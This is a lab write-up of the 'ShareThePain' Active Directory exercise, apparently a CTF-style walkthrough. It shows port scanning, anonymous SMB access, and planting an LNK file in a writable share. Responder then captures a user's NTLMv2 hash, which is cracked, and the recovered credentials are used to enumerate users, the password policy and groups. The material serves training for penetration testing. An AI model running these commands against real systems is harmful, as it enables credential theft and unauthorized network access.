> For the complete documentation index, see [llms.txt](https://truck-2-tech-security.gitbook.io/writeups-and-labs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://truck-2-tech-security.gitbook.io/writeups-and-labs/security-research/hacksmarter-labs/sharethepain.md). # ShareThePain ## **Description** "**ShareThePain**" is a medium-rated Active Directory lab. It is a more challenging lab than "**BuildingMagic**" and is more aligned with the difficulty of certifications such as the **Practical Network Penetration Tester (PNPT)** or the **Hack The Box Certified Penetration Testing Specialist (CPTS)**. This lab focuses on a series of steps to achieve full domain compromise. * **Initial Enumeration:** Reconnaissance to discover network services, hosts, and potential vulnerabilities. * **Active Directory Enumeration:** Techniques to gather information on users, groups, computers, and other objects within the Active Directory domain. This helps map out the network and find potential attack paths. * **Pivoting & Port Forwarding:** Techniques used to access a network segment that is not directly reachable from the attacker's machine. This involves using a compromised host as a "pivot point" to route traffic to internal services. * **SOCKS Proxy:** Setting up a SOCKS proxy to route network traffic through the compromised host, allowing the attacker to interact with the internal network as if they were on it. This is a common method for creating a secure channel for pivoting. * **Privilege Escalation:** Abusing common misconfigurations and vulnerabilities, specifically within a database, to gain higher-level permissions on the compromised host or the domain. \ ## **Scope and Objective** **Objective:** You're a **penetration tester** on the **Hack Smarter Red Team**. Your mission is to infiltrate and seize control of the client's entire Active Directory environment. This isn't just a test; it's a full-scale assault to expose and exploit every vulnerability. **Initial Access:** For this engagement, you've been granted **direct network access** to the client's network. The door is open, but you're starting with **zero credentials**. From here, every move counts. **Execution:** Your objective is simple but demanding: **enumerate, exploit, and own.** Your ultimate goal is not just to get in, but to achieve a **full compromise**, elevating your privileges until you hold the keys to the entire domain. ## Rustscan {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/20/2026 09:14:57 PM)-[~] └─$ rustscan -a 10.1.105.62 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \\ | `| | | .-. \\| {_} |.-._} } | | .-._} }\\ }/ /\\ \\| |\\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : : : : -------------------------------------- With RustScan, I scan ports so fast, even my firewall gets whiplash 💨 [~] The config file is expected to be at "/home/kali/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 10.1.105.62:53 Open 10.1.105.62:88 Open 10.1.105.62:135 Open 10.1.105.62:139 Open 10.1.105.62:389 Open 10.1.105.62:445 Open 10.1.105.62:464 Open 10.1.105.62:593 Open 10.1.105.62:636 Open 10.1.105.62:3269 Open 10.1.105.62:3268 Open 10.1.105.62:3389 Open 10.1.105.62:5985 Open 10.1.105.62:9389 Open 10.1.105.62:47001 Open 10.1.105.62:49664 Open 10.1.105.62:49671 Open 10.1.105.62:49666 Open 10.1.105.62:49665 Open 10.1.105.62:49667 Open 10.1.105.62:49673 Open 10.1.105.62:49676 Open 10.1.105.62:49677 Open 10.1.105.62:49680 Open 10.1.105.62:49719 Open 10.1.105.62:49730 Open 10.1.105.62:49893 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 10.1.105.62 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( ) at 2026-05-20 21:18 -0400 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:18 Completed NSE at 21:18, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:18 Completed NSE at 21:18, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:18 Completed NSE at 21:18, 0.00s elapsed Initiating Ping Scan at 21:18 Scanning 10.1.105.62 [4 ports] Completed Ping Scan at 21:18, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:18 Completed Parallel DNS resolution of 1 host. at 21:18, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:18 Scanning 10.1.105.62 [27 ports] Discovered open port 49665/tcp on 10.1.105.62 Discovered open port 139/tcp on 10.1.105.62 Discovered open port 445/tcp on 10.1.105.62 Discovered open port 593/tcp on 10.1.105.62 Discovered open port 53/tcp on 10.1.105.62 Discovered open port 135/tcp on 10.1.105.62 Discovered open port 3389/tcp on 10.1.105.62 Discovered open port 49676/tcp on 10.1.105.62 Discovered open port 49730/tcp on 10.1.105.62 Discovered open port 464/tcp on 10.1.105.62 Discovered open port 9389/tcp on 10.1.105.62 Discovered open port 49680/tcp on 10.1.105.62 Discovered open port 88/tcp on 10.1.105.62 Discovered open port 49719/tcp on 10.1.105.62 Discovered open port 49664/tcp on 10.1.105.62 Discovered open port 49677/tcp on 10.1.105.62 Discovered open port 49671/tcp on 10.1.105.62 Discovered open port 3268/tcp on 10.1.105.62 Discovered open port 636/tcp on 10.1.105.62 Discovered open port 49667/tcp on 10.1.105.62 Discovered open port 5985/tcp on 10.1.105.62 Discovered open port 49673/tcp on 10.1.105.62 Discovered open port 47001/tcp on 10.1.105.62 Discovered open port 3269/tcp on 10.1.105.62 Discovered open port 389/tcp on 10.1.105.62 Discovered open port 49666/tcp on 10.1.105.62 Discovered open port 49893/tcp on 10.1.105.62 Completed SYN Stealth Scan at 21:18, 0.11s elapsed (27 total ports) Initiating Service scan at 21:18 Scanning 27 services on 10.1.105.62 Service scan Timing: About 62.96% done; ETC: 21:19 (0:00:32 remaining) Completed Service scan at 21:19, 60.25s elapsed (27 services on 1 host) Initiating OS detection (try #1) against 10.1.105.62 Retrying OS detection (try #2) against 10.1.105.62 Initiating Traceroute at 21:19 Completed Traceroute at 21:19, 3.02s elapsed Initiating Parallel DNS resolution of 2 hosts. at 21:19 Completed Parallel DNS resolution of 2 hosts. at 21:19, 0.50s elapsed DNS resolution of 2 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 2, DR: 0, SF: 0, TR: 2, CN: 0] NSE: Script scanning 10.1.105.62. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:19 Completed NSE at 21:19, 8.80s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:19 Completed NSE at 21:19, 1.63s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:19 Completed NSE at 21:19, 0.00s elapsed Nmap scan report for 10.1.105.62 Host is up, received reset ttl 126 (0.037s latency). Scanned at 2026-05-20 21:18:04 EDT for 78s PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 126 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-05-21 01:18:08Z) 135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hack.smarter, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 126 464/tcp open kpasswd5? syn-ack ttl 126 593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 126 3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hack.smarter, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 126 3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services | ssl-cert: Subject: commonName=DC01.hack.smarter | Issuer: commonName=DC01.hack.smarter | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2026-05-20T00:56:36 | Not valid after: 2026-11-19T00:56:36 | MD5: 9923 921c 20d8 3f91 bc7e 6b37 77fb 9d3c | SHA-1: 5736 e3fe 751f 3bcc a226 9345 92cd a116 efad 6026 | SHA-256: 2136 ecc5 947b 0afc 841a 2968 dd79 94da df3b 08f2 a050 2104 d330 382b 17f2 7801 | -----BEGIN CERTIFICATE----- | MIIC5jCCAc6gAwIBAgIQHgaCicz5Zr9LztQBOGV1TDANBgkqhkiG9w0BAQsFADAc | MRowGAYDVQQDExFEQzAxLmhhY2suc21hcnRlcjAeFw0yNjA1MjAwMDU2MzZaFw0y | NjExMTkwMDU2MzZaMBwxGjAYBgNVBAMTEURDMDEuaGFjay5zbWFydGVyMIIBIjAN | BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA328HZl2Es7ssXfanpBgZ7DjCg+Rg | CYnMMyf9dRUIIGIXSGX9xf+CiiPTkOUiSVmulssy5CYeSi6UByNPDvW52DAss057 | q1LrUQo2JYX8J0db7KBs7Nq+dBgeIY2td7iXvysxOgmhUjR+P+ty0X1We3GElrDA | eTh36tHOHqjOqoMoje13bd4NiPYIl93xQoVlIPqcaKL0XJqhwFTLe/vXUFFF4aJP | rVCZthsJYraV20m5wL78VWF4eEAwThhqQ6wYyxY+z8kKaGPPGBWN3TITTKL2xQsZ | rB2BNO1dQ6DCNanefF4xmu6Mst9fAZCkDt+jeTqpGposlVw4oUbYMNcKRQIDAQAB | oyQwIjATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcN | AQELBQADggEBAJuFXJ35gbFCWhsnC35kJUWGq9ZTUJZvzVqQ/W7VZV6iOQ1pUeM1 | 2K3qmptu2WE0JvIekjt+9S2fzo0rhCRAdOZYWlw4fPuBPa+H1KtaQ2btSV5g68Hc | 1PBuJV24tG8eTY71PxsJEfODLsVxRjw4wrsWZ99XXoiWkG6evByNPxgxwEyo4Hmf | TlyZLWu/V5aHKI/72PsigXZ0YaZM4PzmHE3/QF9y26i4dSc4ngZd9tBpAoiB7wUd | ZUJdKnwJvOFa8NWAVnnuX9nbdINTLcmwOi9qmsQjpql3LWcBWAjZ5wJkfLo0zx9A | ZBQt5ndg8p4HVgEFiFkO2O7KugTg6HI/Tdc= |_-----END CERTIFICATE----- |_ssl-date: 2026-05-21T01:19:19+00:00; -1s from scanner time. | rdp-ntlm-info: | Target_Name: HACK | NetBIOS_Domain_Name: HACK | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: hack.smarter | DNS_Computer_Name: DC01.hack.smarter | DNS_Tree_Name: hack.smarter | Product_Version: 10.0.20348 |_ System_Time: 2026-05-21T01:19:10+00:00 5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing 47001/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49665/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49666/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49671/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49673/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49676/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49680/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49719/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49730/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49893/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows Server 2022 (93%), Microsoft Windows 11 24H2 - 25H2 (92%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 10 1703 or Windows 11 21H2 - 23H2 (90%), Microsoft Windows 11 24H2 (89%), Microsoft Windows Server 2019 (89%), Microsoft Windows Server 2012 (88%), Microsoft Windows 10 1703 (87%), Microsoft Windows Server 2012 Data Center (87%) No exact OS matches for host (test conditions non-ideal). TCP/IP fingerprint: SCAN(V=7.99%E=4%D=5/20%OT=53%CT=%CU=40407%PV=Y%DS=3%DC=T%G=N%TM=6A0E5D9A%P=x86_64-pc-linux-gnu) SEQ(SP=101%GCD=1%ISR=10C%TI=I%CI=I%TS=A) SEQ(SP=107%GCD=1%ISR=10A%TI=I%CI=I%TS=A) OPS(O1=M510NW8ST11%O2=M510NW8ST11%O3=M510NW8NNT11%O4=M510NW8ST11%O5=M510NW8ST11%O6=M510ST11) WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC) ECN(R=Y%DF=Y%T=80%W=FFFF%O=M510NW8NNS%CC=Y%Q=) T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=) T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=) U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G) IE(R=N) Uptime guess: 0.017 days (since Wed May 20 20:55:17 2026) Network Distance: 3 hops TCP Sequence Prediction: Difficulty=257 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 64199/tcp): CLEAN (Couldn't connect) | Check 2 (port 39329/tcp): CLEAN (Couldn't connect) | Check 3 (port 22201/udp): CLEAN (Timeout) | Check 4 (port 44936/udp): CLEAN (Failed to receive data) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb2-time: | date: 2026-05-21T01:19:11 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: mean: -1s, deviation: 0s, median: -2s TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 34.00 ms 10.200.0.1 2 ... 3 35.22 ms 10.1.105.62 NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 21:19 Completed NSE at 21:19, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 21:19 Completed NSE at 21:19, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 21:19 Completed NSE at 21:19, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at . Nmap done: 1 IP address (1 host up) scanned in 78.79 seconds Raw packets sent: 99 (6.672KB) | Rcvd: 64 (3.900KB) ``` {% endcode %} * Found domain name: DC01.hack.smarter ## SMB {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/20/2026 09:23:34 PM)-[~] └─$ nxc smb DC01 -u '' -p '' SMB 10.1.105.62 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.1.105.62 445 DC01 [+] hack.smarter\\: ``` {% endcode %} * Looks like the SMB has anonymous access? {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/20/2026 09:24:04 PM)-[~] └─$ nxc smb DC01 -u '' -p '' --shares SMB 10.1.105.62 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.1.105.62 445 DC01 [+] hack.smarter\\: SMB 10.1.105.62 445 DC01 [*] Enumerated shares SMB 10.1.105.62 445 DC01 Share Permissions Remark SMB 10.1.105.62 445 DC01 ----- ----------- ------ SMB 10.1.105.62 445 DC01 ADMIN$ Remote Admin SMB 10.1.105.62 445 DC01 C$ Default share SMB 10.1.105.62 445 DC01 IPC$ Remote IPC SMB 10.1.105.62 445 DC01 NETLOGON Logon server share SMB 10.1.105.62 445 DC01 Share READ,WRITE SMB 10.1.105.62 445 DC01 SYSVOL Logon server share ``` {% endcode %} * Yes we can {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/20/2026 09:25:05 PM)-[~] └─$ smbclient '//DC01/Share' -N Try "help" to get a list of possible commands. smb: \\> s s: command abbreviation ambiguous smb: \\> ls . D 0 Wed May 20 21:25:03 2026 .. DHS 0 Fri Sep 5 23:46:21 2025 31292671 blocks of size 4096. 27288470 blocks available ``` {% endcode %} * We can also list shares {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/20/2026 09:28:54 PM)-[~] └─$ touch malsr.txt ┌──(kali㉿kali 05/20/2026 09:29:00 PM)-[~] └─$ smbclient '//DC01/Share' -N Try "help" to get a list of possible commands. smb: \\> put malsr.txt putting file malsr.txt as \\malsr.txt (0.0 kB/s) (average 0.0 kB/s) smb: \\> ``` {% endcode %} * We can even put things in the share, so the `WRITE` is correct * The idea I have is to put a .lnk file in there, run Responder and try to grab a hash. {% code overflow="wrap" expandable="true" %} ```bash nxc smb 10.1.105.62 -u '' -p '' -M slinky -o NAME=@test SERVER=10.200.58.217 PATH=Share ┌──(kali㉿kali 05/21/2026 05:53:21 PM)-[~/hsm/vpn] └─$ nxc smb 10.1.105.62 -u '' -p '' -M slinky -o NAME=@test SERVER=10.200.58.217 PATH=Share SMB 10.1.105.62 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.1.105.62 445 DC01 [+] hack.smarter\\: SMB 10.1.105.62 445 DC01 [*] Enumerated shares SMB 10.1.105.62 445 DC01 Share Permissions Remark SMB 10.1.105.62 445 DC01 ----- ----------- ------ SMB 10.1.105.62 445 DC01 ADMIN$ Remote Admin SMB 10.1.105.62 445 DC01 C$ Default share SMB 10.1.105.62 445 DC01 IPC$ Remote IPC SMB 10.1.105.62 445 DC01 NETLOGON Logon server share SMB 10.1.105.62 445 DC01 Share READ,WRITE SMB 10.1.105.62 445 DC01 SYSVOL Logon server share SLINKY 10.1.105.62 445 DC01 [+] Found writable share: Share SLINKY 10.1.105.62 445 DC01 [+] Created LNK file on the Share share ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 05:53:56 PM)-[~/hsm/vpn] └─$ sudo responder -I tun0 -wv __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| [*] Tips jar: USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49 [+] Poisoners: LLMNR [ON] NBT-NS [ON] MDNS [ON] DNS [ON] DHCP [OFF] DHCPv6 [OFF] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] MQTT server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] SNMP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF] [+] Generic Options: Responder NIC [tun0] Responder IP [10.200.58.217] Responder IPv6 [fe80::7ebb:7bdd:b4dc:4cf] Challenge set [random] Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL'] Don't Respond To MDNS TLD ['_DOSVC'] TTL for poisoned response [default] [+] Current Session Variables: Responder Machine Name [WIN-RXGOEI5G6TR] Responder Domain Name [ISJT.LOCAL] Responder DCE-RPC Port [47810] [*] Version: Responder 3.2.2.0 [*] Author: Laurent Gaffie, [+] Listening for events... [SMB] NTLMv2-SSP Client : 10.1.105.62 [SMB] NTLMv2-SSP Username : HACK\\bob.ross [SMB] NTLMv2-SSP Hash : bob.ross::HACK:fec0083022f1ec5e:C453F030A70267CFE403682BC7605FC0:0101000000000000806F5BCF4AE9DC0164C45250997054A30000000002000800490053004A00540001001E00570049004E002D005200580047004F00450049003500470036005400520004003400570049004E002D005200580047004F0045004900350047003600540052002E00490053004A0054002E004C004F00430041004C0003001400490053004A0054002E004C004F00430041004C0005001400490053004A0054002E004C004F00430041004C0007000800806F5BCF4AE9DC01060004000200000008003000300000000000000001000000002000001FF394775F0D650F216159E7F62BD2AB330FD333F438D35AC55EF4C5E25DE7520A001000000000000000000000000000000000000900240063006900660073002F00310030002E003200300030002E00350038002E003200310037000000000000000000 ``` {% endcode %} * Well that was easy ### Hashcat to crack `bob.ross` {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 05:56:35 PM)-[~/hsm/machines/stp] └─$ hashcat -a 0 -m 5600 bob.ross.hash /usr/share/wordlists/rockyou.txt hashcat (v7.1.2) starting OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #01: cpu-skylake-avx512-AMD RYZEN AI MAX+ 395 w/ Radeon 8060S, 2929/5859 MB (1024 MB allocatable), 8MCU BOB.ROSS::HACK:fec0083022f1ec5e:c453f030a70267cfe403682bc7605fc0:0101000000000000806f5bcf4ae9dc0164c45250997054a30000000002000800490053004a00540001001e00570049004e002d005200580047004f00450049003500470036005400520004003400570049004e002d005200580047004f0045004900350047003600540052002e00490053004a0054002e004c004f00430041004c0003001400490053004a0054002e004c004f00430041004c0005001400490053004a0054002e004c004f00430041004c0007000800806f5bcf4ae9dc01060004000200000008003000300000000000000001000000002000001ff394775f0d650f216159e7f62bd2ab330fd333f438d35ac55ef4c5e25de7520a001000000000000000000000000000000000000900240063006900660073002f00310030002e003200300030002e00350038002e003200310037000000000000000000:137Password123!@# ``` {% endcode %} ### `bob.ross` Shares {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 05:58:42 PM)-[~/hsm/machines/stp] └─$ nxc smb 10.1.105.62 -u 'bob.ross' -p '137Password123!@#' --shares SMB 10.1.105.62 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.1.105.62 445 DC01 [+] hack.smarter\\bob.ross:137Password123!@# SMB 10.1.105.62 445 DC01 [*] Enumerated shares SMB 10.1.105.62 445 DC01 Share Permissions Remark SMB 10.1.105.62 445 DC01 ----- ----------- ------ SMB 10.1.105.62 445 DC01 ADMIN$ Remote Admin SMB 10.1.105.62 445 DC01 C$ Default share SMB 10.1.105.62 445 DC01 IPC$ READ Remote IPC SMB 10.1.105.62 445 DC01 NETLOGON READ Logon server share SMB 10.1.105.62 445 DC01 Share READ,WRITE SMB 10.1.105.62 445 DC01 SYSVOL READ Logon server share ``` {% endcode %} ### Users {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 05:59:14 PM)-[~/hsm/machines/stp] └─$ nxc smb 10.1.105.62 -u 'bob.ross' -p '137Password123!@#' --users SMB 10.1.105.62 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.1.105.62 445 DC01 [+] hack.smarter\\bob.ross:137Password123!@# SMB 10.1.105.62 445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 10.1.105.62 445 DC01 Administrator 2025-10-29 22:19:03 0 Built-in account for administering the computer/domain SMB 10.1.105.62 445 DC01 Guest 0 Built-in account for guest access to the computer/domain SMB 10.1.105.62 445 DC01 krbtgt 2025-09-03 01:23:39 0 Key Distribution Center Service Account SMB 10.1.105.62 445 DC01 bob.ross 2025-10-29 22:21:23 0 SMB 10.1.105.62 445 DC01 alice.wonderland 2025-10-29 22:23:01 0 SMB 10.1.105.62 445 DC01 tyler.ramsey 2025-09-03 20:55:26 0 SMB 10.1.105.62 445 DC01 [*] Enumerated 6 local users: HACK ``` {% endcode %} * found `alice.wonderland`, and `tyler.ramsey` * No easy passwords in descriptions ### Password Policy {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 06:00:01 PM)-[~/hsm/machines/stp] └─$ nxc smb 10.1.105.62 -u 'bob.ross' -p '137Password123!@#' --pass-pol SMB 10.1.105.62 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.1.105.62 445 DC01 [+] hack.smarter\\bob.ross:137Password123!@# SMB 10.1.105.62 445 DC01 [+] Dumping password info for domain: HACK SMB 10.1.105.62 445 DC01 Minimum password length: 7 SMB 10.1.105.62 445 DC01 Password history length: 24 SMB 10.1.105.62 445 DC01 Maximum password age: 41 days 23 hours 53 minutes SMB 10.1.105.62 445 DC01 SMB 10.1.105.62 445 DC01 Password Complexity Flags: 000001 SMB 10.1.105.62 445 DC01 Domain Refuse Password Change: 0 SMB 10.1.105.62 445 DC01 Domain Password Store Cleartext: 0 SMB 10.1.105.62 445 DC01 Domain Password Lockout Admins: 0 SMB 10.1.105.62 445 DC01 Domain Password No Clear Change: 0 SMB 10.1.105.62 445 DC01 Domain Password No Anon Change: 0 SMB 10.1.105.62 445 DC01 Domain Password Complex: 1 SMB 10.1.105.62 445 DC01 SMB 10.1.105.62 445 DC01 Minimum password age: 1 day 4 minutes SMB 10.1.105.62 445 DC01 Reset Account Lockout Counter: 30 minutes SMB 10.1.105.62 445 DC01 Locked Account Duration: 30 minutes SMB 10.1.105.62 445 DC01 Account Lockout Threshold: None SMB 10.1.105.62 445 DC01 Forced Log off Time: Not Set ``` {% endcode %} * No account lockout threshold for password spraying ### NoPAC {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 06:07:47 PM)-[~/hsm/machines/stp] └─$ nxc smb 10.1.105.62 -u 'bob.ross' -p '137Password123!@#' -M nopac SMB 10.1.105.62 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.1.105.62 445 DC01 [+] hack.smarter\\bob.ross:137Password123!@# NOPAC 10.1.105.62 445 DC01 TGT with PAC size 1562 NOPAC 10.1.105.62 445 DC01 TGT without PAC size 1562 ``` {% endcode %} ### SMBGhost {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/21/2026 06:07:56 PM)-[~/hsm/machines/stp] └─$ nxc smb 10.1.105.62 -u 'bob.ross' -p '137Password123!@#' -M smbghost SMB 10.1.105.62 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.1.105.62 445 DC01 [+] hack.smarter\\bob.ross:137Password123!@# SMBGHOST 10.1.105.62 445 DC01 Potentially vulnerable to SMBGhost (CVE-2020-0796) ``` {% endcode %} ## LDAP ### Groups {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 06:02:14 PM)-[~/hsm/machines/stp] └─$ nxc ldap 10.1.105.62 -u 'bob.ross' -p '137Password123!@#' --groups LDAP 10.1.105.62 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack.smarter) (signing:None) (channel binding:No TLS cert) LDAP 10.1.105.62 389 DC01 [+] hack.smarter\\bob.ross:137Password123!@# LDAP 10.1.105.62 389 DC01 -Group- -Members- -Description- LDAP 10.1.105.62 389 DC01 Administrators 3 Administrators have complete and unrestricted access to the computer/domain LDAP 10.1.105.62 389 DC01 Users 3 Users are prevented from making accidental or intentional system-wide changes and can run most applications LDAP 10.1.105.62 389 DC01 Guests 2 Guests have the same access as members of the Users group by default, except for the Guest account which is further restricted LDAP 10.1.105.62 389 DC01 Print Operators 0 Members can administer printers installed on domain controllers LDAP 10.1.105.62 389 DC01 Backup Operators 0 Backup Operators can override security restrictions for the sole purpose of backing up or restoring files LDAP 10.1.105.62 389 DC01 Replicator 0 Supports file replication in a domain LDAP 10.1.105.62 389 DC01 Remote Desktop Users 0 Members in this group are granted the right to logon remotely LDAP 10.1.105.62 389 DC01 Network Configuration Operators 0 Members in this group can have some administrative privileges to manage configuration of networking features LDAP 10.1.105.62 389 DC01 Performance Monitor Users 0 Members of this group can access performance counter data locally and remotely LDAP 10.1.105.62 389 DC01 Performance Log Users 0 Members of this group may schedule logging of performance counters, enable trace providers, and collect event traces both locally and via remote access to this computer LDAP 10.1.105.62 389 DC01 Distributed COM Users 0 Members are allowed to launch, activate and use Distributed COM objects on this machine. LDAP 10.1.105.62 389 DC01 IIS_IUSRS 1 Built-in group used by Internet Information Services. LDAP 10.1.105.62 389 DC01 Cryptographic Operators 0 Members are authorized to perform cryptographic operations. LDAP 10.1.105.62 389 DC01 Event Log Readers 0 Members of this group can read event logs from local machine LDAP 10.1.105.62 389 DC01 Certificate Service DCOM Access 0 Members of this group are allowed to connect to Certification Authorities in the enterprise LDAP 10.1.105.62 389 DC01 RDS Remote Access Servers 0 Servers in this group enable users of RemoteApp programs and 